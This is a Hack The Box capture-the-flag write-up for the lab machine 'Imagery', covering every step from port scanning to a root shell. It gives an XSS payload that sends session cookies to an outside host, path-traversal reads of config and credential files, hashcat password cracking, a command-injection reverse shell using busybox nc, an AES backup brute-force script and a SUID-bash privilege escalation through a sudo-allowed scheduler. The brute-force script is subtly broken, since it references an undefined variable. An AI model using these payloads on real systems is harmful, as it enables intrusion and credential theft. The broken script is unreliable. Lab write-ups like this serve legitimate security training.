Write Ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.

Feel free to reach out if you have any questions or want to discuss anything related to cybersecurity or web development.

Check out other write ups

Imagery

Imagery icon

Difficulty:Medium

OS:Linux

htb logo

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.88 -o allPorts
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -p 22,8000 -sCV  -o targeted
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7

We find out there is a a web server running on port 8000 using Werkzeug httpd 3.1.3 (Python 3.12.7).

We register and login to the web application. We can upload images to the gallery.

User Exploitation

We can use the Report a bug feature to perform XSS attacks. We can use the following payload to steal the session cookie:

<img src="gjkfjsdkgjkl" onerror="fetch('http://10.10.14.219/?c='+document.cookie)" >
GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNl8JA.-esDt-H-cjovOPp_2bdpQEfnb7k

Now we can use the stolen session cookie to login as a admin user.

We find in the source code of the web application (which is embedded in a script tag in the HTML) that there is an endpoint /admin/get_system_log that takes a parameter log_identifier which is vulnerable to LFI. We can use this vulnerability to read arbitrary files from the server. We can start by reading the config.py file to find out where the database is stored:

GET /admin/get_system_log?log_identifier=../../../../../../home/web/web/config.py 
...
DATA_STORE_PATH = 'db.json'
...

We find the database file is stored in /home/web/web/db.json. We can read this file using, again, the LFI vulnerability:

GET /admin/get_system_log?log_identifier=../../../../../../home/web/web/db.json
{
    "username": "admin@imagery.htb",
    "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
    "isAdmin": true,
    "displayId": "a1b2c3d4",
    "login_attempts": 0,
    "isTestuser": false,
    "failed_login_attempts": 0,
    "locked_until": null
},
{
    "username": "testuser@imagery.htb",
    "password": "2c65c8d7bfbca32a3ed42596192384f6",
    "isAdmin": false,
    "displayId": "e5f6g7h8",
    "login_attempts": 0,
    "isTestuser": true,
    "failed_login_attempts": 0,
    "locked_until": null
},

We try to crack the passwords of admin and testuser using hashcat:

hashcat -a 0 -m0 creds /usr/share/wordlists/rockyou.txt
2c65c8d7bfbca32a3ed42596192384f6:iambatman

We find the password of testuser@imagery.htb is iambatman. We can use this password to login as testuser in the web application.

We can upload an image to the gallery. And we can use the transform image feature to perform RCE. First we set up a netcat listener on our machine:

nc -lvnp 4444

Then we use the crop image transformation to execute a reverse shell payload:

POST /apply_visual_transform HTTP/1.1
Cookie: session=<stolen_testuser_session_cookie>
{
    "imageId":"9bdd9253-db13-4ba9-9234-a8d8c632fb9b",
    "transformType":"crop",
    "params":{
        "x":0,
        "y":0,
        "width":744,
        "height":"100; busybox nc 10.10.14.4 443 -e /bin/sh; echo"

    }
}

We get a reverse shell as the user web:

whoami
web

We check /var/backup directory and find a backup file:

ls /var/backup
web_20250806_120723.zip.aes

We try to decrypt the file using pyAesCrypt and a password list. We create a script decrypt_aes.py to automate the process:

import pyAesCrypt
import os
import threading
from queue import Queue
from tqdm import tqdm
import tempfile
import shutil

# Parámetros
BUFFER_SIZE = 64 * 1024
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"
PASSWORD_DICT = "/usr/share/wordlists/rockyou.txt"
FINAL_OUTPUT = "decrypted_result.zip"
NUM_WORKERS = 20
QUEUE_MAXSIZE = 10000  

found_event = threading.Event()
found_password = {"pw": None}
print_lock = threading.Lock()

def try_decrypt(password: str) -> bool:
    """
    Intenta desencriptar ENCRYPTED_FILE en un archivo temporal con la contraseña dada.
    Devuelve True si tuvo éxito.
    """
    tmpf = None
    try:
        tmp = tempfile.NamedTemporaryFile(prefix="tmp_decrypt_", suffix=".zip", delete=False)
        tmpf = tmp.name
        tmp.close()
        pyAesCrypt.decryptFile(ENCRYPTED_FILE, tmpf, password, BUFFER_SIZE)
        return True, tmpf
    except ValueError:
        if tmpf and os.path.exists(tmpf):
            try:
                os.remove(tmpf)
            except OSError:
                pass
        return False, None
    except Exception as e:
        if tmpf and os.path.exists(tmpf):
            try:
                os.remove(tmpf)
            except OSError:
                pass
        with print_lock:
            print(f"[!] Error inesperado probando '{password}': {e}")
        return False, None

def worker(q: Queue, pbar: tqdm):
    while True:
        item = q.get()
        if item is None:
            q.task_done()
            break 
        password = item

        if found_event.is_set():
            q.task_done()
            pbar.update(1)
            continue

        success, tmpf = try_decrypt(password)
        if success:
            try:
                shutil.move(tmpf, FINAL_OUTPUT)
            except Exception:
                with print_lock:
                    print(f"✔️ Contraseña encontrada: {password}")
                    print(f"Archivo desencriptado en (temporal): {tmpf}")
            else:
                with print_lock:
                    print(f"\n✅ Contraseña correcta: {password}")
                    print(f"Archivo desencriptado guardado como: {FINAL_OUTPUT}")

            found_password["pw"] = password
            found_event.set()
        else:
            pass

        q.task_done()
        pbar.update(1)

def count_lines(path):
    count = 0
    with open(path, "rb") as f:
        for _ in f:
            count += 1
    return count

def main():
    if not os.path.exists(ENCRYPTED_FILE):
        print(f"[!] No se encontró el archivo cifrado: {ENCRYPTED_FILE}")
        return
    if not os.path.exists(PASSWORD_DICT):
        print(f"[!] No se encontró el diccionario: {PASSWORD_DICT}")
        return

    total = count_lines(_DICT)
    print(f"Diccionario: {PASSWORD_DICT}{total} entradas.")

    q = Queue(maxsize=QUEUE_MAXSIZE)
    pbar = tqdm(total=total, unit="pw", desc="Probando contraseñas")

    threads = []
    for _ in range(NUM_WORKERS):
        t = threading.Thread(target=worker, args=(q, pbar), daemon=True)
        t.start()
        threads.append(t)

    try:
        with open(PASSWORD_DICT, "r", encoding="latin1", errors="ignore") as f:
            for line in f:
                if found_event.is_set():
                    break
                pw = line.strip()
                if not pw:
                    q.put("")
                else:
                    q.put(pw)

        if found_event.is_set():
            pass

    except KeyboardInterrupt:
        print("\n[!] Interrumpido por el usuario. Solicitando parada...")
        found_event.set()
    finally:
        for _ in range(NUM_WORKERS):
            q.put(None)

        q.join()
        pbar.close()

        for t in threads:
            t.join(timeout=1)

    if found_password["pw"]:
        print(f"\n🔓 Contraseña encontrada: {found_password['pw']}")
    else:
        if found_event.is_set():
            print("\n[!] Proceso terminado (interrupción o error).")
        else:
            print("\n❌ Se probaron todas las contraseñas y no se encontró la correcta.")

if __name__ == "__main__":
    main()

We run the script:

python3 decrypt_aes.py
✔️ Contraseña encontrada: bestfriends

We find the password to decrypt the backup file is bestfriends. The zip is decrypted and we find a file db.json when unzipping the file:

{
    "username": "mark@imagery.htb",
    "password": "01c3d2e5bdaf6134cec0a367cf53e535",
    "isAdmin": false,
    "displayId": "e5f6g7h8",
    "login_attempts": 0,
    "isTestuser": false,
    "failed_login_attempts": 0,
    "locked_until": null
},

We try to crack the password of mark using hashcat:

echo "01c3d2e5bdaf6134cec0a367cf53e535" >> creds
hashcat -a 0 -m0 creds /usr/share/wordlists/rockyou.txt
01c3d2e5bdaf6134cec0a367cf53e535:supersmash

We find the password of mark is supersmash. We can use this password to login as mark using su.

su mark
whoami
mark

We check the home directory of mark and find the user flag:

cat /home/mark/user.txt
user flag value

Root Exploitation

We check if we can run any command as sudo:

sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

We execute the command charcol and check what it does:

sudo /usr/local/bin/charcol

We see is a tool to backup and restore encrypted files.

We can change the password with -R option (this is needed to use the command):

sudo /usr/local/bin/charcol -R

Then, we can add a new scheduled task to run a command as root which allows us to escalate our privileges to root:

sudo /usr/local/bin/charcol auto add --schedule "* * * * *" --command "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" --name  "privesc"

We wait for a minute and then we can use the new bash binary to get a root shell:

/tmp/bash -p
whoami
root

We check the root flag:

cat /root/root.txt
root flag value

Conclusion

We have successfully exploited the machine Imagery from Hack The Box. We started by enumerating the open ports and services using Nmap. We found a web application running on port 8000 which we exploited using XSS to steal a session cookie and LFI to read sensitive files. We cracked user passwords using hashcat and gained access to the web application as a test user. We then exploited an image transformation feature to get a reverse shell as the web user. Finally, we escalated our privileges to root using a misconfigured sudo command.


Check out other write ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.